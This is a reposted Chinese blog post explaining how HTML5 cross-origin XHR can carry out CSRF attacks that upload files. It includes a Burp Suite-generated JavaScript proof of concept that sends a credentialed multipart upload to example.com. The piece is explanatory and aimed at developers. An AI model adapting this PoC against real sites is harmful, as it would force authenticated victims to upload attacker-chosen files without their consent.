博客
关于我
利用csrf漏洞上传文件
阅读量:157 次
发布时间:2019-02-28

本文共 1941 字,大约阅读时间需要 6 分钟。

HTML5带来了许多有趣的新特性,其中一个是跨域资源共享(CORS)。在之前的版本中,由于同源策略的限制,黑客无法通过JavaScript直接访问其他域的资源。然而,随着XSS等安全问题的普遍存在,同源策略确实为网络安全带来了诸多好处。然而,CORS在这里似乎成为了一把双刃剑。

在文件上传过程中,传统的CSRF防护机制并不足以阻止恶意请求,因为文件上传通常会自动添加filename参数,这使得普通的表单提交难以模拟真实的文件上传请求。但是,随着HTML5的普及,这种情况正在发生变化。

CORS允许浏览器在不受同源策略限制的情况下,进行跨域请求。这意味着即使用户访问了恶意页面,攻击者也无需用户交互,完全可以通过JavaScript发送带有filename参数的跨域请求,从而实施CSRF攻击。

下面的Burp Suite生成的证明代码(PoC)展示了这一点:

function submitRequest() {    var xhr = new XMLHttpRequest();    xhr.open("POST", "https://example.com/new_file.html", true);    xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");    xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");    xhr.withCredentials = "true";    var body = "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"message\"\r\n"        + "\r\n"        + "\r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"backPage\"\r\n"        + "\r\n"        + "test\r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"dataType\"\r\n"        + "\r\n"        + "test  \r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n"        + "Content-Type: text/plain\r\n"        + "\r\n"        + "test3\r\n"        + "-----------------------------256672629917035--\r\n";    var aBody = new Uint8Array(body.length);    for (var i = 0; i < aBody.length; i++)        aBody[i] = body.charCodeAt(i);    xhr.send(new Blob([aBody]));}

这个代码通过创建一个 XMLHttpRequest 对象,打开一个跨域的POST请求,并模拟了一个带有filename参数的文件上传请求。攻击者只需在受害者访问恶意页面时,自动触发这个请求,就能完成CSRF攻击。

虽然HTML5的CORS带来了便利,但也为网络安全带来了新的挑战。开发者需要意识到这一点,采取适当的防护措施,防止被恶意利用。

转载地址:http://yjgc.baihongyu.com/

你可能感兴趣的文章
PostgreSQL 服务启动后停止
查看>>
PostgreSQL 辟谣存在任意代码执行漏洞:消息不实
查看>>
PostgreSQL+PostGIS实现两坐标点之间最短路径查询算法函数(地图工具篇.12)
查看>>
Qt开发——简易调色板QPalette
查看>>
PostgreSQL-解决连接时遇到的乱码问题
查看>>
PostgreSQL15.2最新版本安装_远程连接_Navicat操作_pgAdmin操作_Windows10上安装---PostgreSQL工作笔记001
查看>>
PostgreSQL9.1 双机部署配置(主备数据同步)
查看>>
Qt开发——简易网络浏览器(一)
查看>>
Qt开发——简易成绩登记系统
查看>>
Postgresql中PL/pgSQL代码块的语法与使用-声明与赋值、IF语句、CASE语句、循环语句
查看>>
Postgresql中PL/pgSQL的游标、自定义函数、存储过程的使用
查看>>
Postgresql中的表结构和数据同步/数据传输到Mysql
查看>>
Postgresql中自增主键序列的使用以及数据传输时提示:错误:关系“xxx_xx_xx_seq“不存在
查看>>
postgreSQL入门命令
查看>>
PostgreSQL删除数据库报"ERROR: There is 1 other session using the database."
查看>>
Qt开发——爱情公寓人事管理系统
查看>>
PostgreSQL和Oracle两种数据库有啥区别?如何选择?
查看>>
Postgresql在Windows中使用pg_dump实现数据库(指定表)的导出与导入
查看>>
PostgreSQL在何处处理 sql查询之四
查看>>
postgresql基本使用
查看>>